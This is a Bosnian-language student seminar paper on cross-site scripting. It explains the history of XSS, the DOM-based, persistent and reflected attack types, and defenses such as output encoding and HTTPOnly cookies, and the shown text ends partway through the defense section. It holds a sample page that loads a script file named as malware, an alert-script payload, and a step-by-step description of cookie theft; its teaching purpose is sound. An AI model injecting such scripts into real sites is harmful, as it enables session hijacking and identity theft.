Cross Site Scripting

Download as pdf or txt
Download as pdf or txt
You are on page 1of 40

UNIVERZITET U BIHAU

TEHNIKI FAKULTET
Odsjek: Elektrotehnika
Smjer: Informatika

Seminarski rad

PREDMET: SIGURNOST RAUNARSKIH SISTEMA

TEMA: XSS (Cross-Site Scripting)

Predmetni nastavnik: Doc.Dr. Ivana Ognjanovi Student: Hamza Handanagi

Predmetni asistent: Adnan Ramaki, mr.ra. i inf. Broj indeksa: 832

Akademska godina: 2016/2017


SADRAJ

1.UVOD ..................................................................................................................................... 1
2.SIGURNOST WEB APLIKACIJA I HISTORIJA XSS-a ..................................................... 2
3.XSS.......................................................................................................................................... 5
4.XSS RANJIVOSTI I VRSTE NAPADA ................................................................................ 7
4.1.DOM bazirani XSS napad ................................................................................................ 9
4.2.PERZISTENTNI XSS NAPAD ..................................................................................... 12
4.3.NEPERZISTENTNI XSS NAPAD ................................................................................ 15
5.ZATITA OD XSS NAPADA ............................................................................................. 18
6.PRAKTINI DIO ................................................................................................................. 21
6.1. Perzistentni XSS ............................................................................................................ 23
6.2.Neperzistentni XSS ........................................................................................................ 28
6.3. DOM bazirani XSS napad ............................................................................................. 31
6.4. Kradja kolaia .............................................................................................................. 33
7.ZAKLJUAK ....................................................................................................................... 35
8.LITERATURA ...................................................................................................................... 36
1.UVOD

U ovom seminarskom radu e biti opisana tema XSS(Cross-Site Scripting) napada. Bit e
rijei o sigurnosti web aplikacija openito i mjestu XSS napada u tom kontekstu. U radu su
opisane su glavne karakteristike XSS napada i izvrena je podjela istog gdje su detaljno
opisani svaki od pojedinih tipova napada.

Koritenje Weba openito kao i web aplikacija nosi sa sobom stanovite rizike i opasnosti za
korisnike. Pojavom i popularizacijom skriptnih jezika pogotovo JavaScripta javljaju se razne
mogunosti zlonamjernim korisnicima za realizaciju nekih zlonamjernih radnji. Jedna takva
konkretna realizacija prijetnje sigurnosti web aplikacijama je XSS napad koji predstavlja
jedan od najeih i najopasnijih napada na web aplikacije.

XSS je tehnika napada koja uslovno reeno prisiljava web stranice na prikaz malicioznog
koda, koji se tada izvrava u korisnikovom web browseru. Napad se izvrava na strani klijenta
i ciljana rtva je korisnik aplikacije.

Postoje 3 naina realizacije napada a to su perzistentni XSS, neperzistentni XSS i DOM


bazirani XSS napad. Kod DOM baziranog XSS nedostatka sigurnosni problem je zapravo
vezan za nain na koji korisnikov preglednik interpretira ranjivu web stranicu u svom
izvornom obliku u kombinaciji sa zlonamjernim ulaznim podacima.
Kod neperzistentnog tipa XSS-a kod se uslovno reeno odbija od strane web posluitelja u
obliku poruka o grekama, rezultatima pretraivanja ili u nekom drugom obliku odgovora koji
ukljuuje neke ili sve unesene podatke poslane prema posluitelju kao dio zahtjeva npr(neko
pretraivanje).
Trajni ili perzistentni XSS napad (eng. persistent) karakterie to to maliciozni JavaScript ili
neki drugi skriptni kod ostaje trajno spremljen na strani web servera te ga server moe umetati
u web stranice koje se korisniku alju kao odgovor na njegov HTTP zahtjev.

Spomenute su neke od metoda zatite od ovakvog napada koji moe izazvati jako ozbiljne
posljedice kao to je npr. pristup povjerljivim financijskim podacima. U praktinom dijelu
rada prezentiran je nain realizacije XSS napada i metoda zatite od istog na OWASP-ovoj
DVWA(Damn Vulnerable Web App).

1
2.SIGURNOST WEB APLIKACIJA I HISTORIJA XSS-a

Znaaj interneta u dananjem svijetu i ivotima pojedinaca je nesaglediv. Veina korisnika


vrijeme na svojim osobnim raunarima provodi koristei Web. Paralelno sa razvijanjem
interneta su se razvijali i naini digitalizacije pojedinih aspekata ljudskog ivota i djelovanja
pa danas nerijetko dajemo informacije na Webu kao to su adrese, datum roenja, brojevi
kreditnih kartica i razni drugi privatni podaci za koje elimo da ostanu privatni. Sa razvojem
Weba razvijali su se i web browseri i web aplikacije. Veliki broj takvih aplikacija sadri ve
pomenute jako osjetljive informacije pa je od izuzetne vanosti da se osigura njihov integritet
i povjerljivost.

Web aplikacijama se pristupa preko mree putem web browsera (Web browser uitava i
pokree programski kod sa servera i podnosi zahtjeve za stranicama i akcijama) unutar kojeg
se jedan dio aplikacije izvodi. Kad govorimo o web aplikacijama govorimo o klijent/server
sistemima koji se izvravaju na klijentskoj i na serverskoj strani.

Za web aplikacije je karakteristina tzv. troslojna arhitektura. Naime, ta arhitektura


podrazumijeva 3 sloja:

Prezentacijski ( sloj prikaza informacija korisniku putem web browsera)


Aplikacijski (sloj koji upravlja funkcionalnostima aplikacije)
Podatkovni (sloj koji upravlja bazom podataka, spremanjem,brisanjem podataka iz
baze i prikazom podataka iz baze na serveru)

Svaki od tih slojeva se kreira nekim tehnologijama odnosno zasnovan je na nekim


tehnologijama. Za prezentacijski sloj su bitni web browseri npr. Chrome, Explorer, Mozilla,
Opera itd. Kod podatkovnog sloja se koriste sistemi i mehanizmi za upravljanje bazama
podataka npr. MySQL. Za aplikacijski sloj se koriste web tehnologije kao to su
PHP,Perl,JSP/Java,ASP,Phyton,JavaScript itd.

Svaki od tih slojeva nosi sigurnosne rizike i propuste koji se mogu iskoristiti. Ukoliko postoje
neke ranjivosti i nedostaci u razvoju aplikacije sve ove gradivne dijelove je mogue iskoristiti
za malverzaciju i napad na web aplikaciju. Jedan od takvih napada koji moe prouzrokovati
ozbiljne posljedice je i XSS (Cross-Site Scripting).

2
Cross-Site Scripting ranjivosti datiraju jo iz 1996. godine i vezane su poetak World Wide
Weba. Pojava e-trgovine, pojava i popularizacija JavaScript programskog jezika je omoguila
developerima kreiranje interaktivnijih web stranica ali isto tako i zlonamjernim korisnicima
mnoge nove mogunosti. JavaScript je skriptni jezik kojim moemo kreirati dinamike web
stranice. Izvodi se na klijentskom raunaru ,konkretno kad je rije o web aplikacijama u
njegovom pregledniku, te svi moderni preglednici podravaju JavaScript. JavaScript
omoguava developerima manju potrebu za komunikacijom sa serverom i samim time
smanjenje prometa ka serveru. Omoguava prije svega poveanu interaktivnost, zanimljivije i
bogatije suelje itd.

U decembru 1999. David Ross je radio na sigurnosnom projektu vezanom za Internet


Explorer u Microsoftu. Bio je inspirisan radom Guninskog koji je u isto vrijeme traio i
prouavao mane u sigurnosnom modelu Internet Explorera. Ross je opisao problem koji e
kasnije poprimiti naziv XSS u dokumentu nazvanom Script Injection koji je bio
namijenjen za interne upotrebe Microsofta. U dokumentu je Ross opisao problem, kako radi
Cross-Site Scripting (XSS), i neke naine zatite.

Kasnije je ovaj dokument podijeljen sa CERT-om (Computer Emergency Response Team) s


ciljem da se ovaj dokument podijeli van Microsofta i da se javnost upozna s ovim problemom.
U koordinaciji sa CERT-om je modifikovan pomenuti dokument te zajedno sa ostalim
materijalima predstavljen javnosti 2.februara 2000. godine.

U razdoblju do 2005. godine veina sigurnosnih eksperata i developera nije pruala puno
znaaja i panje XSS-u. Fokus je bio na nekim drugim sigurnosnim problemima kao to su
virusi,crvi,botnet mree,prelijevanja spremnika itd.

U oktobru 2005. se pojavio XSS crv tzv. Samy Worm (drugi naziv; JS.Spacehero) koji je
dobio taj naziv po tvorcu Samyu Kamkaru. Crv se propagirao drutvenom mreom MySpace.
Smatra se jednim od najveih raunarskih crva u historiji. Bio je dizajniran na nain da se
irio mreom od profila do profila i tako je uspio u roku od 20 sati zaraziti preko milion
korisnika. Od tog sigurnosnog incidenta je svijet raunarske sigurnosti postao svjestan rizika i
opasnosti kakve napadi ovakve prirode nose sa sobom. Od tad pa do danas XSS je jedan od
najopasnijih i najeih napada na web aplikacije.1

1
S.Fogie,J.Grossman,R.Hansen,A.Rager,P.Petkov,XSS Attacks:Cross Site Scripting Exploits and Defense,
Syngress Publishing, 2007.

3
The Open Web Application Security Project (OWASP) je neprofitna organizacija koja daje
informacije o sigurnosti web aplikacija . OWASP od 2003. godine objavljuje listu deset
najveih rizika za web aplikacije. Ova lista je postala neformalni standard .

Top 10 iz 2013. godine:

A1 Injection

A2 Broken Authentication and Session Management

A3 Cross Site Scripting (XSS)

A4 Insecure Direct Object References

A5 Security Misconfiguration

A6 Sensitive Data Exposure

A7 Missing Function Level Access Control

A8 Cross Site Request Forgery (CSRF)

A9 Using Components with Known Vulnerabilities

2
A10 Unvalidated Redirects and Forwards

Prema Top 10 iz 2010. godine XSS je bio na 2. mjestu. Moemo zakljuiti da XSS danas
predstavlja jako ozbiljnu prijetnju sigurnosti web aplikacija i da je jedan od najeih napada
na iste.

Koriste se akronimi XSS i CSS ali akronim XSS je uobiajen za Cross-Site Scripting iz
razloga postojanja akronima CSS (Cascading Style Sheets).

2
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

4
3.XSS

Kao to je ve reeno Cross-Site Scripting je jedan od najeih napada na web aplikacije.


Web serveri koji rade samo sa statikim web stranicama imaju potpunu kontrolu nad
interpretacijom stranice sa strane klijenta. Kod dinamikih web stranica je drugaija situacija.
Kod dinamikih web stranica dolazi do promjene sadraja stranice na osnovu upita i zahtjeva
od korisnika tako da serverski dio nema potpuni nadzor nad interpretacijom stranice u
klijentskom pregledniku. Ta komunikacija sa klijentske strane odnosno u klijentskom
browseru se ostvaruje izmedu ostalog i pomou prvenstveno interesantnog za XSS napad
JavaScripta ali i ActiveX, Java, Flash i nekih drugih tehnologija. Kod takvih aplikacija postoji
mogunost za razliite vrste napada pa tako i pored ostalog i XSS napada.

XSS je tehnika napada koja na neki nain prisiljava web stranice na prikaz malicioznog
koda, koji se tada izvrava u korisnikovom web browseru. Napad se izvrava na strani klijenta
odnosno u u Web browseru a ne na serverskoj strani. Ciljana rtva je korisnik a ne server kao
npr. kod DDoS napada.

Dakle, iz prethodnog se moe zakljuiti da su glavne karakteristike XSS napada :

XSS je napad koji se odvija na web aplikacijama koje nisu adekvatno zatiene
odnosno imaju ranjivosti koje omoguuju napad

Ciljana rtva XSS napada je korisnik ne aplikacija

Maliciozni sadraj se obino dostavlja upotrebljavajui JavaScript

5
SLIKA 1: Grafiki prikaz XSS napada3

Opti opis XSS napada se moe vidjeti na prethodnoj slici. Tijek napada se moe opisati u
nekoliko koraka:

1. Zlonamjerni korisnik koristi neku formu web aplikacije kako bi umetnuo maliciozni
Javascript kod pomou kojeg moe pristupiti bazi web aplikacije

2. rtva trai dozvolu pristupa od aplikacije

3. Pri odgovoru aplikacije rtvi ukljuuje se maliciozni JavaScript kod kao dio odgovora
rtvi odnosno korisniku aplikacije

4. rtvin preglednik izvrava malicioznu skriptu unutar odgovora kojeg prima od web
aplikacije i alje rtvine kolaie napadaevom serveru.

3
https://excess-xss.com/

6
Postavlja se pitanje ta to zapravo napada moe uinit ako uspije da izvri neki maliciozni
Javascript kod u rtvinom browseru. JavaScript ima ogranien pristup korisnikom
operativnom sistemu i fajlovima ali ipak postoje mnogi naini kako se payload napada moe
ispoljiti.
Jednom kad napada uspije u eksploatisanju XSS ranjivosti i stekne kontrolu nad
korisnikovim web browserom dobija mogunost obavljanja razliitih zlonamjernih radnji i
akcija. Kako zlonamjerni JavaScript kod ima pristup svim resursima kao i ostatak stranice
postoji mogunost da se ukradu kolaii koji se koriste za uvanje sesija i na taj nain
zlonamjerni korisnik moe ukrasti identitet tj. oponaati nekog legitimnog korisnika
aplikacije. Ako postoji mogunost krae identiteta postoji mogunost i promjene podataka
korisnikog rauna.
Napada ima mogunosti mijenjanja sadraja stranice,pregledavanja historije pretraivanja,
usmjeravanja web browsera na druge sadraje i lokacije,irenja internet crva, prosljeivanja
zlonamjernog sadraja od strane web aplikacije itd.
Takoer, pomou metoda socijalnog ininjeringa i razliitih vrsta obmana moe navesti
korisnika da mu omogui pristup kameri,mikrofonu itd.

4.XSS RANJIVOSTI I VRSTE NAPADA

XSS ranjivost je posljedica neadekvatne ocjene ispravnosti i filtriranja ulaznih podataka web
aplikacije. Svaka web stranica koja korisniku omoguuje interakciju odnosno koja doputa
unos nekih podataka,pretrage i sl. potencijalno sadri XSS ranjivost te se esto javlja kod
pretraivanja pojmova na web stranicama, kod unoenja podataka u razliite forme na web
stranicama itd.

Da bi Web pretraiva postao inficiran mora posjetiti neku stranicu koja sadri odreeni
JavaScript malware.

Postoji nekoliko naina kako se JavaScript malware moe nastaniti na nekoj stranici:

1. Vlasnik stranice moe svjesno postaviti zlonamjerni kod

7
2. JavaScript malware je mogao dospjeti na stranicu usljed neke promjene zbog
sigurnosnog propusta u mrei ili u operativnom sistemu
3. XSS ranjivost je iskoritena i JavaScript malware je umetnut
4. rtva je mogla pokrenuti na specijalno kreiran neperzistentni ili DOM baziran XSS
link

Kod stavki 3. i 4. je potrebno da stranica ima neke XSS ranjivosti koje se mogu iskoristiti.

Slijedi primjer jednog jednostavnog koda stranice koji pokazuje kako JavaScript malware
moe biti ubaen unutar jednostavnog script taga pozvati maliciozni kod sa neke lokacije.
Korisnik dok posjeti ovakvu stranicu postae rtva payloada ove zlonamjerne skripte.

<html><body>
<title>Primjer stranice koja sadri JavaScript malware</title>
<h1>XSS Primjer</h1>
<script src=http://localhost/javascript_malware.js />
</body></html>

Postoje 3 osnovne vrste XSS napada:

DOM bazirani XSS napad (eng. DOM-based)


Perzistentni XSS napad (eng. Persistent)
Neperzistentni XSS napad (eng. Non-Persistent)

Ovi napadi se mogu preklapati u smislu da je neki XSS napad ima osobine npr. i DOM i
perzistentnog napada. Negdje od 2012. godine postoji se uvode 2 nova termina kao posljedica
tenji da se klasificiraju i organiziraju XSS napadi koji se mogu pojaviti:

Server XSS
Klijent XSS

8
Server XSS klasifikacija podrazumijeva HTML odgovor servera koji sadri neprovjerene
podatke. Moe postojati i perzistentni server XSS i neperzistentni server XSS.

Klijent XSS klasifikacija podrazumijeva situaciju kad se neprovjereni podaci od strane


korisnika koriste da se izvri izmjena DOM-a sa nesigurnim JavaScript pozivom. Moe
postojati perzistentni klijent XSS i neperzistentni klijent XSS. DOM bazirani XSS je podvrsta
klijent XSS-a gdje je izvor podataka negdje u DOM-u.

4.1.DOM bazirani XSS napad

Pored naziva DOM (eng. Document Object Model) bazirani XSS napad mogu se pronai i
nazivi lokalni XSS. Za razliku od ostalih tipova XSS ranjivosti, ovdje zlonamjerni skriptni
kod nije prethodno ugnijeden u neku dinamiki generiranu izlaznu web stranicu na strani
web posluitelja. Kod DOM baziranog XSS nedostatka sigurnosni problem je zapravo vezan
za nain na koji korisnikov preglednik interpretira ranjivu web stranicu u svom izvornom
obliku u kombinaciji sa zlonamjernim ulaznim podacima.

Kad je web stranica uitana web browser kreira Document Model Object stranice. DOM
predstavlja W3C standard. Definie nain pristupanja dokumentima. DOM je platforma i
interfejs koji je neovisan o programskom jeziku i omoguava programima i skriptama da
dinamiki pristupaju i mijenjaju sadraj,strukturu i izgled dokumenta. Razlikujemo XML
DOM(standardni model za XML dokumente), Core DOM(standardni model za sve tipove
dokumenata),HTML DOM(standard koji definie kako dohvatiti,promijeniti,dodati ili obrisati
HTML elemente).Sa HTML DOM-om JavaScript moe pristupiti i mijenjati sve elemente
HTML dokumenta odnosno dobija mogunost kreiranja dinamikog HTML-a. JavaScript
moe mijenjati,dodavati,brisati HTML elemente i atribute na stranici,upravljati CSS-om
stranice itd.

Kada se JavaScript kod, koji je ugnijeden unutar HTML sadraja web stranice, izvrava
unutar preglednika, preglednik automatski kreira nekoliko objekata koji predstavljaju DOM.

9
SLIKA 2: HTML DOM stablo objekata4

Objekt document, korijenski element u navedenom modelu, omoguava pristup veini


postavki i znaajki web stranice. Bitno je napomenuti kako su vrijednosti pridruene tim
postavkama oblikovane sa stanovita preglednika, a ne na temelju dobivenog HTML sadraja.
Neki od podobjekata koje objekt document sadri, a koji su vezani za DOM bazirani XSS
nedostatak, su location, URL i referrer. Njihove vrijednosti nisu izdvojene iz HTML sadraja
dobivene web stranice, nego su popunjene drugim podacima dostupnima pregledniku. Ako
dio JavaScript koda ugnijedenog u web stranici dohvaa vrijednost, na primjer,
document.URL parametra i koristi je za generiranje novog HTML sadraja koji se upisuje u
istu web stranicu, postoji mogucnost pojave DOM baziranog XSS sigurnosnog napada
odnosno postoji ranjivost na ovaj napad.

Ako spomenuta dohvaena vrijednost document.URL parametra sadri zlonamjerni JavaScript


kod, a ne kodira se koritenjem odgovarajuih HTML entiteta prije ispisa na stranicu, taj
upravo generirani novi HTML sadraj biti e reinterpretiran od strane preglednika kao
skriptni kod, a ne kao obian tekst, pa e se umetnuti zlonamjerni JavaScript kod zaista i
izvriti.

4
https://www.w3schools.com/js/js_htmldom.asp

10
Skriptnim kodom koji se izvrava na strani klijenta, web preglednici upravljaju pomou
objekata koji se nalaze u tzv. lokalnoj zoni, npr. na korisnikovom lokalnom vrstom disku.
Stoga se umetnuti zlonamjerni skriptni kod moe izvoditi na korisnikovom sustavu i to s
ovlastima korisnikovog web preglednika. Time se zaobilazi cjelokupna sigurnosna okolina na
strani klijenta (eng. sandbox), a ne samo domenske restrikcije web posluitelja to je
uobiajeno za ostale tipove XSS nedostataka.5

Primjer naina za iskoritavanje prethodno opisanog propusta odnosno primjer procedure


DOM baziranog XSS napada:

Web stranica na nekom serveru koji se smatra vjerodostojnim na neadekvatan nain


filtrira i procesira ulazne korisnike podatke to stvara prethodno opisanu ranjivost
odnosno sigurnosni nedostatak koji se moe eksploatisati XSS napadom.
Napada kreira hiperlink koji sadri zlonamjerni skriptni kod pored URL-a
legitimnog posluitelja. Kod kreiranja hiperlinka napadai se esto koriste razliitim
tehnikama kojim oteavaju otkrivanje napada. Jedan od naina je kodiranje dijela
hiperlinka u heksadecimalni oblik koji izgleda legitimnije prosjenom korisniku
odnosno rtvi.
Napada tako oblikovan hiperlink koji na prvi pogled korisniku izgleda kao da ga
usmjerava na neku legitimnu stranicu ili na neki njemu interesantan sadraj alje
korisniku (npr. putem maila).
Kad napada uspije u svojoj namjeri i korisnik klikne na hiperlink legitimnom web
serveru se alje HTTP zahtjev za ranjivom web stranicom.
Posluitelj alje korisniku ranjivu web stranicu kao HTTP odgovor. Zlonamjerni
JavaScript kod nije ugnijeden u poslanu web stranicu nego se nalazi unutar
hiperlinka.
rtvin web browser interpretira ranjivu web stranicu koja se sad nalazi na lokalnom
rtvinom sistemu. Kad rtva naie na dio stranice koji je ranjiv aktivira se maliciozni
JavaScript kod iz hiperlinka i dalje se taj kod izvrava sa ovlastima web browsera
unutar lokalne zone korisnikovog raunara. Kao to je prethodno reeno to
omoguava da se zaobilazi cjelokupna sigurnosna okolina na strani klijenta (eng.
sandbox), a ne samo domenske restrikcije web posluitelja.

5
http://www.cert.hr/sites/default/files/CCERT-PUBDOC-2006-05-157.pdf

11
4.2.PERZISTENTNI XSS NAPAD

Trajni ili perzistentni XSS napad (eng. persistent) karakterie to to maliciozni JavaScript ili
neki drugi skriptni kod ostaje trajno spremljen na strani web servera te ga server moe umetati
u web stranice koje se korisniku alju kao odgovor na njegov HTTP zahtjev.

Ranjivosti na perzistentni XSS napad se javljaju kad se podaci koje korisnik daje spremaju
trajno na strani servera kao npr. u bazi podataka ili unutar sistema datoteka te se kasnije ti
podaci prikazuju korisnicima na web stranici bez prethodnog HTML kodiranja. Kasnije je
dovoljno da korisnik posjeti web stranicu koja sadri takav problematini kod koji nije
podvrgnut HTML kodiranju i da se maliciozni kod izvri u njegovom pregledniku.

Cilj napadaa je postaviti maliciozni kod na neke stranice koje su esto posjeivane pa ovaj
napad moe biti jako uinkovit kad su u pitanju drutvene mree koje imaju veliki promet i
gdje postoji mogunost za jako brzo irenje zaraze. Na takav nain napada moe ostvariti
veliki broj napada u relativno kratkom vremenu. Neki od uinkovitih naina su postavljanje
malicioznih kodova na forume ili u chat grupe gdje je omogueno slanje poruka u HTML
formatu. Kod ovakvih podruja za izvravanje XSS napada je jako bitan faktor socijalnog
ininjeringa.

Jednom kad napada uoi ranjivost odnosno uvidi da aplikacija ne provjerava na adekvatan
nain sadraj nekih polja ubacuje maliciozni JavaScript kod u to polje npr. polje za unos
korisnikog imena na nekoj drutvenoj mrei. Kada drugi korisnici aplikacije koriste
aplikaciju i posjeuju profil napadaa maliciozni kod se automatski izvrava u sklopu njihove
sesije..

Napada na ovaj nain moe ostvariti viestruke napade na veliki broj korisnika vrlo
jednostavno pa se ovaj tip XSS napada smatra najopasnijim upravo zbog te injenice.
Napada moe ukrasti kolaie za upadanje u rtvinu sesiju i na taj nain moe izvriti lano
predstavljanje i krau identiteta.

12
Primjer tijeka perzistentnog XSS napada se moe opisati u nekoliko koraka:

Napada otkriva da na web stranici postoji mogunost trajnog postavljanja poruka i


ostalog sadraja kojeg kasnije mogu vidjeti ostali korisnici. Takva stranica sadri
prethodno opisanu ranjivost. Napada priprema maliciozni kod.

Napada na ranjivu web stranicu postavlja poruku sa malicoznim sadrajem odnosno


skriptom. Pri tome obino se slui socijalnim ininjeringom da bi privukao to vie
korisnika. Kad postavi takvu poruku ili sadraj na web server ona je trajno pohranjena
na istom i pri svakom pokretanju dotine stranice npr. korisnikog profila ta
zlonamjerna poruka e biti ukljuena.

Korisnik tj. rtva pristupa web stranici koja je sadri maliciozni kod odnosno alje
HTTP zahtjev web serveru

Web server daje HTTP odgovor korisniku i vraa korisniku dinamiki generiranu web
stranicu koja u sebi sadri umetnuti maliciozni skriptni kod

Maliciozni skriptni kod iz primljene web stranice se izvrava unutar korisnikovog web
browsera

Maliciozna skripta dohvati kolaie i preusmjerava ga na zloudni web server kojeg


kontrolira napada

Kolaii koji su dohvaeni se mogu iskoristiti za lano predstavljanje i krau


identiteta.

13
SLIKA 3: Tijek perzistentnog XSS napada6

SLIKA 4: Tijek perzistentnog XSS napada7

6
http://www.cert.hr/sites/default/files/NCERT-PUBDOC-2011-02-323.pdf
7
https://c2.etf.unsa.ba/file.php/223/TS_8_Sigurnost_web_aplikacija.pdf

14
4.3.NEPERZISTENTNI XSS NAPAD

Neperzistentni (eng. non-persistent) XSS napad se jo naziva i refleksivnim i jednokratnim


XSS napadom. Naziv jednokratni potie iz injenice da zlonamjerni skriptni kod nije trajno
pohranjen na strani web servera nego se umee u web stranicu koja predstavlja odgovor web
servera na korisnikov HTTP zahtjev.

Kod ovog tipa XSS-a kod se uslovno reeno odbija od strane web posluitelja u obliku poruka
o grekama, rezultatima pretraivanja ili u nekom drugom obliku odgovora koji ukljuuje
neke ili sve unesene podatke poslane prema posluitelju kao dio zahtjeva. Ranjivost web
aplikacije na neperzistentni XSS napad se stvara kada se ulazni korisniki podaci zaprimljeni
od korisnika u obliku npr. pojmova za pretraivanje izravno koriste od strane servera odnosno
serverskih skripti kako bi se generirala nova web stranica koja se isporuuje korisniku.

Ovo se moe vidjeti u formama za pretraivanje gdje stranica vraa korisniku njegov pojam
za pretraivanje. esto na web stranicama vidimo prilikom pretraivanja npr. odgovor no
results for PRETRAIVANI POJAM. Tu je upravo rije o reflektiranju koda. Ako se taj
pojam za pretraivanje formulie kao neki zlonamjerni kod napada moe ostvariti napad.

Ako se ulazni korisniki podaci bez filtriranja i sigurnosne provjere ukljuuju u web stranicu
koju server vraa kao odgovor korisniku bez prethodnog HTML kodiranja, potencijalnom
napadau se omoguava umetanje proizvoljnog malicioznog skriptnog koda u HTML sadraj
web stranice koja se generie na dinamiki nain i isporuuje korisniku.

Napada moe koristei se razliitim tehnikama socijalnom ininjeringa navesti korisnika da


aktivira maliciozni hiperlink koji ima zadatak da umetne skriptni kod u web stranicu i na taj
nain napada moe pridobiti potpunu kontrolu sadraju ranjive web stranice. Napada moe
da alje te posebno oblikovane hiperlinkove mailom i opasnost je vea jer taj hiperlink sadri
zapravo domenu stranice koja je legitimna tako da je opasnost od phishinga jako naglaena
kod ovog tipa XSS napada.
.
Opisani sigurnosni nedostatak najei je od svih tipova XSS nedostataka. Od ukupnog broja
XSS ranjivosti ovaj tip je zastupljen sa nekih 75 %.

15
Primjer tijeka neperzistentnog XSS napada se moe opisati u nekoliko koraka:

rtva posjeti legitimnu web aplikaciju npr. namijenjenu za neku vrstu e-trgovine i tu
se prijavi putem svog korisnikog imena i lozinke i tamo ostavi podatke o kreditnoj
kartici

Napada kreira hiperlink koji e sluei se tehnikama socijalnog ininjeringa


oblikovati tako da sadri osim URL-a legitimnog servera i maliciozni skriptni kod

Napada putem maila ili putem drutvenih mrea alje maliciozni hiperlink koji
izgleda rtvi legitimno jer sadri URL legitimnog servera

Korisnik aktivira hiperlink i tad se legitimnom web serveru alje HTTP zahtjev za
ranjivom web stranicom.

Legitimni web server prima HTTP zahtjev korisnika, generie dinamiku web stranicu
koja sadri umetnuti maliciozni skriptni kod i alje je korisniku kao HTTP odgovor na
njegov zahtjev.

Maliciozni skriptni kod kojeg korisnik prima se izvrava unutar njegovog web
browsera

Maliciozni skriptni kod dohvat korisnikove kolaie vezane za legitimni server koji
mogu sadrati neke osjetljive podatke npr. vezane za kreditne kartice

Korisnikov web browser dobija informacija o preusmjeravanju na maliciozni web


server kojeg kontrolie napada i sakupljeni korisnikovi kolaii se alju na taj
posluitelj bez njegovog znanja to omoguava napadau krau identiteta to moe
imati za rezultat jako ozbiljne posljedice s obzirom na povjerljive podatke kakvi se
uvaju

16
SLIKA 5: Tijek neperzistentnog XSS napada8

SLIKA 6: Tijek neperzistentnog XSS napada9

8
http://www.cert.hr/sites/default/files/NCERT-PUBDOC-2011-02-323.pdf
9
https://c2.etf.unsa.ba/file.php/223/TS_8_Sigurnost_web_aplikacija.pdf

17
5.ZATITA OD XSS NAPADA

XSS napadi predstavljaju veliki problem. Sa stanovita sigurnosti sami web browseri nisu
sigurni jer oni alju zahtjeve i procesiraju rezultate. To podrazumijeva i interpretaciju raznih
skriptnih jezika kao to je JavaScript koji moe proizvesti ve spomenute probleme u
aplikacijama.Web browser nema sposobnost da uvidi i odlui da li neki dio koda ima neko
maliciozno djelovanje. S druge strane developeri ne razvijaju uvijek sigurne stranice i
aplikacije pa je i to problem sa stanovita sigurnosti koji napadai eksploatiu.

Prosjenom korisniku ostaju dvije krajnje situacije u kojima bi mogao biti siguran da nee biti
rva XSS napada. Moe da onemogui izvravanje JavaScripta i drugih skriptnih jezika to bi
znaajno degradiralo njegovo iskustvo na Webu i druga opcija je da posjeuje samo stranice
za koje je siguran da su bezbjedne.

Naravno, korisnik treba biti svjestan opasnosti koje nose napadi koji se slue socijalnim
ininjeringom a ta svjesnost se postie edukacijom i informisanjem. Linkove koji se dobiju
elektronskom potom ne treba otvarati osim ukoliko nismo potpuno sigurni u legitimitet
poiljatelja. Otvaranjem takvih nesigurnih poruka se moe vrlo lako postati rtva phishinga.
Opasnost moe biti i u linkovima sumnjivog porijekla koji se nalaze na forumima i slinim
stranicama. Prilikom dobijanja ili nailaska na link korisnik treba obratiti panju na
heksadecimalne znakove u hiperlinku. Kao to je ve spomenuto napadai esto koriste
heksadecimalno kodiranje da bi uinili link manje sumnjivim.

Sve prethodno navedeno se odnosi na korisnika i njegove akcije na Webu. Poto se propusti
koji omoguavaju XSS napade nalaze u samim aplikacijama tako bi zatita prvenstveno
trebala biti orijentisana na same aplikacije.

Zatita od ovih napada se prije svega odnosi na odgovarajuu validaciju korisnikih unosa i
njihovom filtriranju. Filtriranje treba da bude takvo da onemogui da se skriptni kod ugradi u
HTML kod koji se generie dinamiki na osnovu unosa korisnika. Mogue je filtriranje unosa
po zabranjenim znakovima. Ovo je manje siguran nain od proputanja samo dozvoljenih
znakova. Svako filtriranje zahtjeva paljiv izbor filtera koji e sprijeiti XSS napade a koji
nee u isto vrijeme onemoguiti korisnike da unose tekst koji ele unijeti. Filtriranje je jako
sloen koncept i nije jednostavno pronai odgovarajui filter koji e zadovoljiti standarde.

Fleksibilnije rjeenje od filtiriranja je ponovno kodiranje korisnikog ulaza. To kodiranje


nee u sutini promijeniti znakove koje korisnik unosi ali e promijeniti njihov nain unoenja
odnosno oblik u kojem se unose u HTML kod. Znakovi e biti kodirani tako da ih web
browser nee interpretirati kao neki skriptni kod koji moe biti zlonamjeran nego kao znakove
koje treba prikazati. Npr. ako se kodira <script> dobit e se &lt;script&gt; i
funkcionalnost koda se nee promijeniti ali u HTML kod se nee unositi direktno korisnika
naredba to otvara prostor za napade.

18
Jedan od naina zatite od XSS napada kod aplikacija pisanih PHP programskim jezikom je
pomou seta funkcija koje nudi PHP i koje mogu da uklone maliciozni kod ili da kodiraju
karaktere koji imaju specijalno znaenje.

Primjer takve funkcije je htmlspecialchars(). Ova funkcija kao ulaz prima korisniki upis u
obliku stringa npr. iz nekog polja za pretraivanje i konvertuje specijalne znakove u
odgovarajue HTML ekvivalente.

<?php
# Unos od strane napadaa
$izvorniUlaz = "<script>alert('XSS')</script>";

# upotreba funkcije htmspecialchars();


$obradjeniUlaz = htmlspecialchars($izvorniUlaz);

# Izlaz: &lt;script&gt;alert('XSS')&lt;/script&gt;
echo $obradjeniUlaz;

Jo jedan primjer funkcije za borbu protiv XSS napada je htmlentities() koja u sutini ima isti
nain djelovanja kao i htmlspecialchars(),s tim da htmlentities() sve odgovarajue karaktere
pretvara u HTML ekvivalente. Mogue je dobiti ponovo izvorni ulaz
sa html_entity_decode() funkcijom.

Obino cilj XSS napada je neautorizovan pristup i kontrola nad kolaiima odnosno
identifikatorima sesija. Zatita identifikatora sesije, cookie, moe se raditi i koritenjem
HTTPOnly zastavice. HTTPOnly kolaii su prvi put implementirani 2002. od strane
developera koji su radili na Internet Exploreru.

19
Cookie koji ima atribut HTTPOnly nee biti dostupan skriptama koje se izvravaju na klijentu
odnosno nee moi biti zloupotrebljen prilikom XSS napada. Ako je HTTPOnly zastavica
ukljuena u header HTTP odgovora kolaiu se ne moe pristupiti putem skripte na
klijentskoj strani. Naravno, preduslov za ovo je da browser podupire HTTPOnly.

Primjer postavljanja ove zastavice u PHP jeziku.

bool setcookie ( string $name [, string $value [, int $expire= 0


[,string $path [, string $domain [, bool $secure=
false[, bool $httponly= true ]]]]]] )

Funkcija setcookie() definie kolai koji e biti poslan zajedno sa ostalim sadrajem HTTP
